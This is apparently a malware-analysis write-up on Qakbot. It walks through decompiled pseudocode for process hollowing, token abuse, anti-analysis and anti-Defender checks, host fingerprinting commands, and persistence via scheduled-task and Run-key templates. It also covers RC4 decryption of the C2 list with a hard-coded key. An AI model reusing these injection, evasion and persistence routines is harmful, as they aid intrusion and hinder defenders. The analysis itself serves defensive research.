There is already a comprehensive analysis on Qakbot already from VinCSS Blog (2021) and Elastic Security Labs (2022), Kudos to them!! It seems like there is not much changes since 2021 and 2022 in terms of Its core function. The obvious changes is the implementation of double RC4 encryption on the resource file and Mersenne Twister + Issac Random random number generator.
It does have a lot of adaptation on both 32/64-bit system, checking account privilege.
This is my first time using ChatGPT to make my life easier also 🤣
In general:
Unpacker -> Shellcode -> 1st stage -> 2nd stage
* 1st stage and 2nd stage are from the same file with different flow of execution
Unpacker
Just normal Virtual*
to drop the payload. After executing ZwFlushInstructionCache
, it will proceed to the memory of Qakbot shellcode unpacker.
Shellcode
1st payload will be unpack over here, I guess there is some compression on the payload (Didn’t go check on this). The decompress and address alignment will be done here too before move on to the 1st stage of the actual Qakbot payload.
1st stage
Process hollowing on selected processes
// To be injected process list decryption
v8 = this;
if ( (qbot_s->is_some_proc_found & 0x204) != 0 )
{
if ( qbot_s->is_sys_64_bit )
{
v10 = 0x8F9; // %SystemRoot%\SysWOW64\AtBroker.exe
goto LABEL_7;
}
v10 = 0x670; // %SystemRoot%\System32\AtBroker.exe
}
else
{
if ( qbot_s->is_sys_64_bit )
{
v10 = 0x8CD; // %SystemRoot%\SysWOW64\wermgr.exe
LABEL_7:
v11 = 0x1034; // %SystemRoot%\SysWOW64\msra.exe
v12 = 0x734; // %ProgramFiles(x86)%\Internet Explorer\iexplore.exe
goto LABEL_10;
}
v10 = 0x214; // %SystemRoot%\System32\wermgr.exe
}
v12 = 0xD9C; // %ProgramFiles%\Internet Explorer\iexplore.exe
v11 = 0x310; // %SystemRoot%\System32\msra.exe
LABEL_10:
result = mlwr_allocheap(12);
v7 = result;
if ( result )
{
v2 = result;
v3 = &v10 - result;
v4 = 3;
do
{
v5 = decrypt_str(*&v2[v3]); // Get process name here
Process Hollowing using Zw library from ntdll
...
v4 = mlw_process_hollow(*a1, a3);
if ( v4 )
{
memset(v9, 0, sizeof(v9));
v9[0] = 65538;
if ( (kernel32_struct->GetThreadContext)(a1[1], v9) )
{
v14 = 0;
v11 = -23;
v12 = a2 - 5 + v4 - v9[44] - a3;
v15 = 5;
v13 = v9[44];
if ( (ntdll_struct->ZwProtectVirtualMemory)(*a1, &v13, &v15, 4, &v14) < 0
|| (ntdll_struct->ZwWriteVirtualMemory)(*a1, v9[44], &v11, 5, &v15) < 0
|| (v10 = 0, (ntdll_struct->ZwProtectVirtualMemory)(*a1, &v13, &v15, v14, &v10) < 0) )
{
v4 = 0;
}
}
...
Create memory section on the target process and write the itself into target process memory.
Be careful if there is any software break point (0xcc, int3) set within the section, it will break the code when the execution continue in target process. Just clear all the software break point before ZwMapViewOfSection
// From mlw_process_hollow
if ( *v5 == 'EP' && (v22[0] = v5[20], (ntdll_struct->ZwCreateSection)(
&v28,
14,
0,
v22,
64,
0x8000000,
0) >= 0) )
{
... some CreateWindows Function ...
v7 = ntdll_struct;
v8 = (kernel32_struct->GetCurrentProcess)(&v29, 0, 0, 0, &v27, 2, 0, 64);
v9 = (v7->ZwMapViewOfSection)(v28, v8);
v10 = v30;
if ( v9 >= 0 && (ntdll_struct->ZwMapViewOfSection)(v28, v30, &v31, 0, 0, 0, &v27, 2, 0, 64) >= 0 )
{
v11 = sub_1000A085(qbot_s, 0x1AC4);
v32 = v11;
if ( v11 )
{
v11->rsrc_component_08 = v31;
v12 = (kernel32_struct->VirtualAllocEx)(v10, 0, 6852, 4096, 4);
(kernel32_struct->WriteProcessMemory)(v30, v12, v32, 6852, &v26);
After the execution of ResumeThread
, it will move on to the 2nd stage.
2nd Stage
Create Mutex and Pipe
All the name generated from Mersenne Twister + Issac Random combination with format {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}
mlwr_Mersenne_Twister(a2, v4);
...
sub_10015C09(a2, v5, 0x10u);
v6 = (issac_random(a2) & 0xF) + 64;
v8 = issac_random(a2) % 0x30 + 0x80;
v16 = str_dec_2(); // {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}
snprinftw(a1, 40, v16, v5[0], v5[1], v5[2], v5[3], v5[4], v5[5], v6, v7, v8, v9, v10, v11, v12, v13, v14, v15);
mlwr_buf_check(&v16);
return 0;
After that both mutex and pipe created via Windows API CreateMutex*
and CreateNamedPipe*
As stated from Elastic blog, it has two ways to call CreateNamedPipe
based on the user privilege (by comparing SID value)
// If the user has higher privilege
if ( proc_sid )
is_equal_sid = (advapi_struct->EqualSid)(proc_sid, *qbot_s->required_SID);
if ( !mlwr_check_local_sys_acc_sid(proc_sid) && !mlwr_is_sid_profile_image_exist(v32, proc_sid, 0x105) )
return status; // if not local system and %systemroot% can't be read)
...
v12 = (kernel32_struct->CreateNamedPipeA)(
pipe_name,
0x80003,
6,
0xFF,
0x400, 0x400, 0, 0);
// Low user privilege
kernel32_struct->CreateNamedPipeA)(
pipe_name,
0x80003, // FILE_FLAG_FIRST_PIPE_INSTANCE
6, // PIPE_READMODE_MESSAGE | PIPE_TYPE_MESSAGE
0xFF,
0x80000, 0x80000, 0, v3 != 0 ? v5 : 0);
Set low integrity pipe security descriptor
If the user privilege is low, it will set low integrity to its pipe created in order to facilitate between the connection of different Qakbot module.
// After CreateNamePipe with low priv
...
v3 = decrypt_str(0x64Cu); // S:(ML;;NW;;;LW): LOW_INTEGRITY_LABEL_SACL
if ( (advapi_struct->ConvertStringSecurityDescriptorToSecurityDescriptorW)(v3, 1, &v7, 0) )
{
if ( (advapi_struct->GetSecurityDescriptorSacl)(v7, &v4, &pSacl, &v5)
&& !(advapi_struct->SetSecurityInfo)(pipe_handle, 6, 0x10, 0, 0, 0, pSacl) )// 0x6:SE_KERNEL_OBJECT
// 0x10: LABEL_SECURITY_INFORMATION
Check Full Envrionment in ProfileImagePath based on SID
This is another check the determine whether to process is run under SYSTEM account, it might able to check for other privilege level based on the input.
int __usercall mlwr_get_profile_image_path@<eax>(int a1@<edx>, int sid@<ecx>, int a3)
{
int v3; // edi
int result; // eax
int v6; // esi
int val_0; // esi
int v8; // [esp+8h] [ebp-Ch] BYREF
int v9; // [esp+Ch] [ebp-8h] BYREF
int str_sid; // [esp+10h] [ebp-4h] BYREF
v3 = 0;
str_sid = 0;
result = (advapi_struct->ConvertSidToStringSidW)(sid, &str_sid);
if ( result )
{
v9 = str_dec_3(0xD1); // SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
v6 = str_concat(v9);
mlwr_heap_free(&v9);
v9 = str_dec_3(0x539); // ProfileImageList
val_0 = mlwr_reg_query_val_0(v6, v9);
v8 = val_0;
mlwr_heap_free(&v9);
if ( val_0 )
{
(shlwapi_struct->PathUnquoteSpacesW)(val_0);
if ( (kernel32_struct->ExpandEnvironmentStringsW)(val_0, a1, a3) )// Expand %systemroot% to full path
v3 = 1;
}
if ( str_sid )
(kernel32_struct->LocalFree)(str_sid);
heap_dealloc(&v8, -2);
return v3;
}
return result;
}
Check current process is local system account
int __thiscall mlwr_check_local_sys_acc_sid(void *this)
{
int result; // eax
int v3; // esi
int v4; // [esp+4h] [ebp-Ch] BYREF
__int16 v5; // [esp+8h] [ebp-8h]
int pSid; // [esp+Ch] [ebp-4h] BYREF
v5 = 1280;
v4 = 0;
result = (advapi_struct->AllocateAndInitializeSid)(&v4,
1, // Count
18, // 18 = SECURITY_LOCAL_SYSTEM_RID
0, 0, 0, 0, 0, 0, 0, &pSid);
if ( result )
{
v3 = (advapi_struct->EqualSid)(this, pSid);
(advapi_struct->FreeSid)(pSid);
return v3;
}
return result;
}
Access Token Manipulation
If the executing file has SYSTEM privilege, it can create any process with with similar SYSTEM token by calling CreateProcessAsUserW
with the privileged token.
if ( !*wtsapi_QueryUserToken ) // Trellix blog on BlackMatter got explaination on this
return 0;
if ( !(*wtsapi_QueryUserToken)(*session_id, &token) )// QueryUserToken: Get Primary Token
{
GetLastError();
return 0;
}
token_info = get_token_info(token);
v13 = token_info;
if ( token_info )
{
if ( (advapi_struct->EqualSid)(*token_info, proc_sid) )
{
v15 = 0;
memset(lpProcessInformation, 0, sizeof(lpProcessInformation));
memset(lpStartupInfo, 0, sizeof(lpStartupInfo));
lpStartupInfo[0] = 0x44;
lpStartupInfo[2] = &v15;
if ( (kernel32_struct->CreateProcessAsUserW)(
token,
0,
cmdline,
0,
0,
0,
0x4000000,
0,
0,
lpStartupInfo,
lpProcessInformation) )
{
v4 = 1;
}
Get process integrity level
char __thiscall mlwr_get_integrity_lvl(void *this)
{
char v1; // bl
_DWORD *v3; // esi
unsigned __int8 *v4; // eax
unsigned __int8 v5; // al
_DWORD *v6; // eax
char v7[4]; // [esp+4h] [ebp-Ch] BYREF
_DWORD *v8; // [esp+8h] [ebp-8h] BYREF
int v9; // [esp+Ch] [ebp-4h] BYREF
v1 = 0;
if ( !(advapi_struct->OpenProcessToken)(this, 8, &v9) )
return 0;
v3 = sub_1000EEF9(25, v9, v7);
v8 = v3;
if ( v3 )
{
v4 = (advapi_struct->GetSidSubAuthorityCount)(*v3);
if ( v4 )
{
v5 = *v4;
if ( v5 )
{
v6 = (advapi_struct->GetSidSubAuthority)(*v3, v5 - 1);
if ( v6 )
{
if ( *v6 >= 0x2000u ) // SECURITY_MANDATORY_MEDIUM_RID 0x00002000 Medium integrity
{
v1 = 2; // Integrity MEDIUM
if ( *v6 >= 0x3000u ) // SECURITY_MANDATORY_HIGH_RID 0X00003000 High integrity
v1 = 3; // Integrity HIGH
}
else
{
v1 = 1; // Other Integrity (Most probably LOW, 0x1000)
}
}
}
}
heap_dealloc(&v8, 0);
}
(kernel32_struct->CloseHandle)(v9); // closehandle
return v1;
}
Fingerprinting on system
qbot_enum_s->snapshot_proc_list = v4;
qbot_enum_s->file_full_path = &qbot_s->file_full_path;
qbot_enum_s->dword8C = &qbot_s->D1425;
v32 = str_dec_3(1154); // net view
qbot_enum_s->net_view_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(685); // cmd /c set
qbot_enum_s->cmd_set_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(1388); // arp -a
qbot_enum_s->arp_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(1354); // ipconfig /all
qbot_enum_s->ipconfig_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
if ( (qbot_s->is_sys_32_bit & 4) == 0 )
{
v32 = str_dec_3(825); // nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%s
printf(v22, 128, v32, qbot_s->Domain_Name);
mlwr_heap_free(&v32);
qbot_enum_s->nslookup_result = mlwr_create_proc(v22);
}
v32 = str_dec_3(1120); // nltest /domain_trusts /all_trusts
qbot_enum_s->nltest_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(287); // net share
qbot_enum_s->net_share_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(1270); // route print
qbot_enum_s->route_print_resutl = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(672); // netstat -nao
qbot_enum_s->netstat_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(180); // net localgroup
qbot_enum_s->dwordCC = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(84); // qwinsta
qbot_enum_s->qwinsta_result = mlwr_create_proc(v32);
mlwr_heap_free(&v32);
v32 = str_dec_3(993); // whoami /all
qbot_enum_s->whoami_result = mlwr_create_proc(v32);
...
v30 = decrypt_str(0x9A0u); // ROOT\CIMV2
v8 = decrypt_str(0x10BEu); // Win32_ComputerSystem
v25 = v8;
v29 = decrypt_str(0x270u); // Win32_Bios
v28 = decrypt_str(0x12DDu); // Win32_DiskDrive
v27 = decrypt_str(0xDEFu); // Win32_PhysicalMemory
v26 = decrypt_str(0x1136u); // Win32_Product
v32 = decrypt_str(0x724u); // Win32_PnPEntity
v24 = decrypt_str(0x9E8u); // Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
v9 = decrypt_str(0xAD0u); // Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status
v10 = v8;
v11 = v30;
v23 = v9;
v12 = mlwr_COM_exec_enum(v30, v10);
Get ComputerName and VolumeInfo
(kernel32_struct->GetComputerNameW)(String2, &v16);
lstrcpynW(a2, String2, 256);
v15 = decrypt_str(0x51Au); // c:\\
v4 = (kernel32_struct->GetVolumeInformationW)(v15, v12, 256, &v17, 0, 0, v13, 256);
v17 = v4 != 0 ? v17 : 0;
mlwr_heap_free(&v15);
v11 = v17;
v10 = 256 - get_len(a2);
len = get_len(v5);
printf(&a2[len], v10, 80207720, v11);
strcat(a2, a1);
v16 = get_len(a2);
charupperbuf(a2, v16);
v7 = get_len(a2);
return maybe_calc_hash(2 * v7, v8, 0);
Process thread for anti analysis / anti debug
- PEB->BeingDebugged
- Check for listed analysis process (Github)and
wpcap.dll
if ( mlwr_to_get_reg_rc4(62) == -1 )
{
while ( 1 )
{
if ( mlwr_anti_analysis() > 0 )
{
mlwr_write_reg_key_val_2(63, 1);
return 0;
}
if ( NtCurrentPeb()->BeingDebugged )
break;
(kernel32_struct->SleepEx)(1000, 1);
}
// Mess up with some memory layout
v3 = 0;
for ( i = 0; i < 0x80; ++i )
*(i + 80213744) ^= 0xB8u;
do
{
*(v3 + 80212048) ^= 0xB8u;
++v3;
}
while ( v3 < 0x80 );
}
Anti Analysis
The malware will stop when these process was found in the snapshot of the processes
int mlwr_anti_analysis() {
v0 = 0;
v1 = str_dec_2(); // frida-winjector-helper-32.exe,.....
v6 = v1;
if ( !v1 )
return -1;
v3 = mlwr_cmp_str(59, v1, 0, &v4);
v5 = str_dec_2(); // wpcap.dll
if ( v5 )
{
v0 = mlwr_cmp_proc_name_av(0x4C6F0B1, &v3);
mlwr_buf_check(&v5);
sub_1000AA95(&v3, &v4);
}
mlwr_buf_check(&v6);
...
}
// frida-winjector-helper-32.exe;frida-winjector-helper-64.exe;tcpdump.exe;
// windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;
// packetcapture.exe;capturenet.exe;qak_proxy;dumpcap.exe;CFF Explorer.exe;
// not_rundll32.exe;ProcessHacker.exe;tcpview.exe;filemon.exe;procmon.exe;
// idaq64.exe;loaddll32.exe;PETools.exe;ImportREC.exe;LordPE.exe;SysInspector.exe;
// proc_analyzer.exe;sysAnalyzer.exe;sniff_hit.exe;joeboxcontrol.exe;
// joeboxserver.exe;ResourceHacker.exe;x64dbg.exe;Fiddler.exe;sniff_hit.exe;
// sysAnalyzer.exe
Anti Anti-Virus
Detect MS Defender emulation folder C:\INTERNAL\__empty
some_INTERNAL_path = NtCurrentPeb();
if ( some_INTERNAL_path->BeingDebugged ) // anti-debug
{
for ( i = 0; i < 0x80; ++i )
*(i + 80213744) ^= 0xB7u;
for ( j = 0; j < 0x80; ++j )
*(j + 80212048) ^= 0xB7u;
}
kernel32_struct = mlwr_get_func(0x140u, 80206152, 1717);
some_INTERNAL_path = decrypt_str(0xD28u); // C:\INTERNAL\__empty
if ( GetFileAttributesW(&some_INTERNAL_path->InheritedAddressSpace) != -1 )
{
mlwr_heap_free(&some_INTERNAL_path);
return 0;
}
Besides that, it will enumerate AV processes within the machine using WQL and then it will compare the results with the deobfuscated AV processes string over here
v0 = 0;
v9 = decrypt_str(0x123u); // root\SecurityCenter2
v1 = mlwr_COM_init(v9);
v7 = v1;
mlwr_heap_free(&v9);
if ( !v1 )
return 0;
v3 = decrypt_str(0x5C6u);
v9 = v3; // SELECT * FROM AntiVirusProduct
v8 = decrypt_str(0xE11u); // displayName
Check Is The Machine Infected
If SELF_TEST_1
was found, the malware will stop executing further
mlwr_heap_free(&some_INTERNAL_path);
v6 = str_dec_3(981); // SELF_TEST_1 (Can be Kill Switch, If this was set)
some_INTERNAL_path = sub_10009FA8(v6);
if ( some_INTERNAL_path )
{
user32_struct = mlwr_get_func(0x6Cu, 80206480, 1730);
sub_100023FF();
heap_dealloc(&some_INTERNAL_path, -2);
(kernel32_struct->ExitProcess)(1);
}
Running some random Win API function
These function runs without any parameter.
I guess this is meant to be hit the hook limit of the AV/EDR tools 🤔
032E11EC | 55 | push ebp |
032E11ED | 8BEC | mov ebp,esp |
032E11EF | 81EC B4000000 | sub esp,B4 |
032E11F5 | A1 98A02F03 | mov eax,dword ptr ds:[<&CreateBitmapIndirect>] |
032E11FA | 8985 4CFFFFFF | mov dword ptr ss:[ebp-B4],eax |
032E1200 | A1 94A02F03 | mov eax,dword ptr ds:[<&CreateBrushIndirect>] |
032E1205 | 8985 50FFFFFF | mov dword ptr ss:[ebp-B0],eax |
032E120B | A1 7CA02F03 | mov eax,dword ptr ds:[<&CreateDIBPatternBrush>] |
032E1210 | 8985 54FFFFFF | mov dword ptr ss:[ebp-AC],eax |
032E1216 | A1 80A02F03 | mov eax,dword ptr ds:[<&CreateDIBPatternBrushPt>] |
032E121B | 8985 58FFFFFF | mov dword ptr ss:[ebp-A8],eax |
032E1221 | A1 A0A02F03 | mov eax,dword ptr ds:[<&CreateDIBSection>] |
032E1226 | 8985 5CFFFFFF | mov dword ptr ss:[ebp-A4],eax |
032E122C | A1 78A02F03 | mov eax,dword ptr ds:[<&CreateEllipticRgn>] |
032E1231 | 8985 60FFFFFF | mov dword ptr ss:[ebp-A0],eax |
032E1237 | A1 8CA02F03 | mov eax,dword ptr ds:[<&CreateEllipticRgnIndirect>] |
032E123C | 8985 64FFFFFF | mov dword ptr ss:[ebp-9C],eax |
032E1242 | A1 68A02F03 | mov eax,dword ptr ds:[<&CreateEnhMetaFileA>] |
032E1247 | 8985 68FFFFFF | mov dword ptr ss:[ebp-98],eax |
032E124D | A1 A4A02F03 | mov eax,dword ptr ds:[<&CreateFontA>] |
032E1252 | 8985 6CFFFFFF | mov dword ptr ss:[ebp-94],eax |
032E1258 | A1 64A02F03 | mov eax,dword ptr ds:[<&CreateFontIndirectExW>] |
032E125D | 8985 70FFFFFF | mov dword ptr ss:[ebp-90],eax |
032E1263 | A1 60A02F03 | mov eax,dword ptr ds:[<&CreateHalftonePalette>] |
032E1268 | 8985 74FFFFFF | mov dword ptr ss:[ebp-8C],eax |
032E126E | A1 90A02F03 | mov eax,dword ptr ds:[<&CreateHatchBrush>] |
032E1273 | 8985 78FFFFFF | mov dword ptr ss:[ebp-88],eax |
032E1279 | A1 58A02F03 | mov eax,dword ptr ds:[<&CreatePatternBrush>] |
032E127E | 8985 7CFFFFFF | mov dword ptr ss:[ebp-84],eax |
032E1284 | A1 70A02F03 | mov eax,dword ptr ds:[<&CreatePenIndirect>] |
032E1289 | 8945 80 | mov dword ptr ss:[ebp-80],eax |
032E128C | A1 88A02F03 | mov eax,dword ptr ds:[<&CreateRectRgnIndirect>] |
032E1291 | 8945 84 | mov dword ptr ss:[ebp-7C],eax |
032E1294 | A1 84A02F03 | mov eax,dword ptr ds:[<&CreateRoundRectRgn>] |
032E1299 | 8945 88 | mov dword ptr ss:[ebp-78],eax |
032E129C | A1 6CA02F03 | mov eax,dword ptr ds:[<&CreateScalableFontResourceA>] |
032E12A1 | 8945 8C | mov dword ptr ss:[ebp-74],eax |
032E12A4 | A1 A8A02F03 | mov eax,dword ptr ds:[<&CreateScalableFontResourceW>] |
032E12A9 | 8945 90 | mov dword ptr ss:[ebp-70],eax |
032E12AC | A1 74A02F03 | mov eax,dword ptr ds:[<&CreateSolidBrush>] |
032E12B1 | 8945 94 | mov dword ptr ss:[ebp-6C],eax |
032E12B4 | A1 9CA02F03 | mov eax,dword ptr ds:[<&GdiGetBatchLimit>] |
032E12B9 | 8945 98 | mov dword ptr ss:[ebp-68],eax |
032E12BC | A1 5CA02F03 | mov eax,dword ptr ds:[<&GdiTransparentBlt>] |
032E12C1 | 8945 9C | mov dword ptr ss:[ebp-64],eax |
032E12C4 | A1 C8A12F03 | mov eax,dword ptr ds:[<&WICMapGuidToShortName>] |
032E12C9 | 8945 A0 | mov dword ptr ss:[ebp-60],eax |
032E12CC | A1 C0A12F03 | mov eax,dword ptr ds:[<&WICMapSchemaToName>] |
032E12D1 | 8945 A4 | mov dword ptr ss:[ebp-5C],eax |
032E12D4 | A1 C4A12F03 | mov eax,dword ptr ds:[<&WICMapShortNameToGuid>] |
032E12D9 | 8945 A8 | mov dword ptr ss:[ebp-58],eax |
032E12DC | A1 1CA02F03 | mov eax,dword ptr ds:[<&AccessCheckAndAuditAlarmA>] |
032E12E1 | 8945 AC | mov dword ptr ss:[ebp-54],eax |
032E12E4 | A1 10A02F03 | mov eax,dword ptr ds:[<&AccessCheckByTypeAndAuditAlarmA>] |
032E12E9 | 8945 B0 | mov dword ptr ss:[ebp-50],eax |
032E12EC | A1 24A02F03 | mov eax,dword ptr ds:[<&AddAccessAllowedAce>] |
032E12F1 | 8945 B4 | mov dword ptr ss:[ebp-4C],eax |
032E12F4 | A1 14A02F03 | mov eax,dword ptr ds:[<&AddAccessAllowedAceEx>] |
032E12F9 | 8945 B8 | mov dword ptr ss:[ebp-48],eax |
032E12FC | A1 08A02F03 | mov eax,dword ptr ds:[<&AddAccessDeniedAce>] |
032E1301 | 8945 BC | mov dword ptr ss:[ebp-44],eax |
032E1304 | A1 44A02F03 | mov eax,dword ptr ds:[<&AddAuditAccessObjectAce>] |
032E1309 | 8945 C0 | mov dword ptr ss:[ebp-40],eax |
032E130C | A1 0CA02F03 | mov eax,dword ptr ds:[<&BuildTrusteeWithSidA>] |
032E1311 | 8945 C4 | mov dword ptr ss:[ebp-3C],eax |
032E1314 | A1 20A02F03 | mov eax,dword ptr ds:[<&ChangeServiceConfig2A>] |
032E1319 | 8945 C8 | mov dword ptr ss:[ebp-38],eax |
032E131C | A1 50A02F03 | mov eax,dword ptr ds:[<&CloseTrace>] |
032E1321 | 8945 CC | mov dword ptr ss:[ebp-34],eax |
032E1324 | A1 30A02F03 | mov eax,dword ptr ds:[<&ConvertToAutoInheritPrivateObjectSecurity>] |
032E1329 | 8945 D0 | mov dword ptr ss:[ebp-30],eax |
032E132C | A1 00A02F03 | mov eax,dword ptr ds:[<&CreatePrivateObjectSecurity>] |
032E1331 | 8945 D4 | mov dword ptr ss:[ebp-2C],eax |
032E1334 | A1 18A02F03 | mov eax,dword ptr ds:[<&EnumerateTraceGuidsEx>] |
032E1339 | 8945 D8 | mov dword ptr ss:[ebp-28],eax |
032E133C | A1 48A02F03 | mov eax,dword ptr ds:[<&EqualDomainSid>] |
032E1341 | 8945 DC | mov dword ptr ss:[ebp-24],eax |
032E1344 | A1 2CA02F03 | mov eax,dword ptr ds:[<&EtwEventActivityIdControl>] |
032E1349 | 8945 E0 | mov dword ptr ss:[ebp-20],eax |
032E134C | A1 3CA02F03 | mov eax,dword ptr ds:[<&EtwEventWrite>] |
032E1351 | 8945 E4 | mov dword ptr ss:[ebp-1C],eax |
032E1354 | A1 40A02F03 | mov eax,dword ptr ds:[<&EtwEventWriteEx>] |
032E1359 | 8945 E8 | mov dword ptr ss:[ebp-18],eax |
032E135C | A1 28A02F03 | mov eax,dword ptr ds:[<&EtwEventWriteString>] |
032E1361 | 8945 EC | mov dword ptr ss:[ebp-14],eax |
032E1364 | A1 4CA02F03 | mov eax,dword ptr ds:[<&EtwEventWriteTransfer>] |
032E1369 | 8945 F0 | mov dword ptr ss:[ebp-10],eax |
032E136C | A1 38A02F03 | mov eax,dword ptr ds:[<&FindFirstFreeAce>] |
032E1371 | 8945 F4 | mov dword ptr ss:[ebp-C],eax |
032E1374 | A1 04A02F03 | mov eax,dword ptr ds:[<&GetEventLogInformation>] |
032E1379 | 8945 F8 | mov dword ptr ss:[ebp-8],eax |
032E137C | A1 34A02F03 | mov eax,dword ptr ds:[<&GetAce>] |
032E1381 | 8945 FC | mov dword ptr ss:[ebp-4],eax |
032E1384 | 81F9 250C0000 | cmp ecx,C25 |
032E138A | 75 11 | jne 32E139D |
032E138C | 56 | push esi |
032E138D | 33F6 | xor esi,esi // Empty out esi |
032E138F | FF94B5 4CFFFFFF | call dword ptr ss:[ebp+esi*4-B4] // Call the function |
032E1396 | 46 | inc esi |
032E1397 | 83FE 2D | cmp esi,2D |
032E139A | 72 F3 | jb 32E138F |
032E139C | 5E | pop esi |
032E139D | 33C0 | xor eax,eax |
032E139F | C9 | leave |
032E13A0 | C3 | ret |
Persistent via Schedule Task and Registry
if ( qbot_s->is_get_desktop_info == 3 )
{
v4 = str_dec_3(0x48B); // schtasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /SC ONSTART /TN %u /TR "%s" /NP /F
v5 = mlwr_allocheap(4096);
v2 = mlwr_issac_random(&qbot_s->random_seed, 0x10000000, -1);
printf(v5, 4096, v4, v2, a1);
if ( !mlwr_createproc(v5, 0, 3000, 1, 0) )
v1 = -1;
mlwr_heap_free(&v4);
mlwr_write_reg_key_val_2(60, v2);
heap_dealloc(&v5, -2);
}
else
{
v4 = decrypt_str(0x12EDu); // SOFTWARE\Microsoft\Windows\CurrentVersion\Run
v1 = mlwr_set_reg_key_2(-2147483647, v4, a1);
mlwr_heap_free(&v4);
if ( v1 >= 0 )
v1 = 0;
else
mlwr_file_ops();
heap_dealloc(&a1, -2);
}
return v1;
Move/Copy+Delete self in %AppData% folder
It will move
/copy+delete
itselfinto the %AppData%
folder with specific path C:\Users\<user>\AppData\Roaming\Microsoft\<RANDOM_NAME>
if hiberfil.sys
can be reached, it is locked when the system is not in hibernate
/shudtdown
/sleep mode
if ( !query_reg_key_val(0x33) && (
query_reg_key_val(0x12) ||
mlwr_get_hiberfil_sys()) // If hiberfil is not locked, via GetFileAttributes
{
SystemTimeAsFileTime = mlwr_GetSystemTimeAsFileTime(0);
printf(NewFileName, 260, 0x4C7DE6C, v2, SystemTimeAsFileTime);
MoveFileW(v2, NewFileName);
}
else
{
if ( sub_100052FB(v2) < 0 )
return heap_dealloc(&v5, -2);
mlwr_to_cpy_del(v2);
}
...
}
// Check c:\hiberfil.sys availability
v2 = decrypt_str(0xEBBu); // c:\hiberfil.sys
v0 = mlwr_to_getfileattributew(v2);
mlwr_heap_free(&v2);
Self Update
Execute the command rundll32 <self_file_path>, Uptd
...
if ( !(kernel32_struct->CreateProcessW)(0, a1, 0, 0, 0, a4 != 0 ? 0x8000000 : 0, 0, 0, v7, v8) )
return 0;
...
It will also write into registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Run
data value and schedule task
Adding Reg Key
This can be done through reg.exe
or Reg*
Windows API
Adding new key value in SOFTWARE\Microsoft\Windows\CurrentVersion\Run
for persistence
Adding new key value in Software\\Microsoft\\<RAND_VAL>
to store RC4-ed data
Read SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList ProfileImagePath
to check for account privilege
// Add via windows api
if ( (advapi_struct->RegOpenKeyExW)(a2, a1, 0, 2, &v19) )
return -1;
if ( a5 )
{
if ( (advapi_struct->RegSetValueExW)(v19, a3, 0, 1, a5, a6) )
{
v15 = -2;
LABEL_22:
v6 = v15;
}
}
// Delete reg key as well
else if ( (advapi_struct->RegDeleteValueW)(v19, a3) )
{
v15 = -3;
goto LABEL_22;
}
// Add via reg.exe
reg.exe ADD "HKLM\%s" /f /t %s /v "%s" /d "%s"
Create Registry key to store some data
To get the registry key value, Qakbot will xor
decrypt some hard coded bytes into Software\\Microsoft\\<RAND_GEN_VAL>
The registry value data is encrypted with RC4 algorithm. (Including campaign ID etc.)
Remove Persistent
// Via Windows API
if ( (advapi_struct->RegOpenKeyExA)(v4[67], v6, 0, 2, &v15, a2, a3, a1) )
{
v5 = -2;
}
else
{
if ( (advapi_struct->RegDeleteValueA)(v15, v13) )
v5 = -4;
(advapi_struct->RegCloseKey)(v15, v8, v9);
// Via schedule task
schtasks.exe /Delete /F /TN %u
Double RC4 crypto on Resource file Component_07 / Component_08
Decrypt and verify the result by comparing the first 0x14h bytes of the decrypted bytes with the SHA1 of bytes after first 0x14h bytes. If it fails it will use the hard-coded key generated to perform another round of RC4.
The first layer is decrypted by the SHA1 hard-coded key and the second layer use the key from first 0x14h bytes and RC4 with the rest of it.
Resource Component_07 contains campaign info, meanwhile resource Component_08 contains list of IP C2 + port in hex form
// Component_08 contains IP port list in hex form
key = str_dec_4(); // Component_08
rsrc_bytes = mlwr_load_rsrc(key, qbot_s->rsrc_component_08, &v23);
rsrc_bytes_cpy = rsrc_bytes;
mlwr_buf_check(&key);
if ( rsrc_bytes )
{
to_be_sha1_key = str_dec_4(); // bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN
v4 = mlwr_to_rc4_crypt(v23, rsrc_bytes, to_be_sha1_key);
v21 = v4;
mlwr_buf_check(&key);
if ( v4 )
{
v5 = mlwr_to_rc4_crypt(*(v4 + 0x428), *(v4 + 0x424), 0);
key = v5;
if ( v5 )
{
mlwr_decrypt_c2_addr_hex(
*(v5 + 1064),
*(v5 + 1060),
c2_buffer + 4, // 1st hex
c2_buffer + 5, // 2nd hex
c2_buffer + 6, // 3rd hex
c2_buffer + 7); // 4th hex
mlwr_create_file_0(&key);
Shuffle C2 memory buffer
After that the IP port data will gets shuffle into a new memory region that will be used later on, it will be shuffled randomly based on the Issac random results.
do
{
rand_num = mlwr_issac_random(&qbot_s->random_seed, 0, v24);
mem_cpy(cursor_dest, cursor, 36);
random_c2_buffer = (c2_buffer_cpy_1 + 0x24 * rand_num);
mem_cpy(cursor, random_c2_buffer, 36);
mem_cpy(random_c2_buffer, cursor_dest, 36);
v24 = v36;
cursor += 36;
--sent_val;
}
while ( sent_val );
Convert Hex IP port into decimal form
This will be done by using ws2_32.inet_ntoa
Connect to clean sites with a sleep loop
Mostly just using WinINet
functions to perform the action.
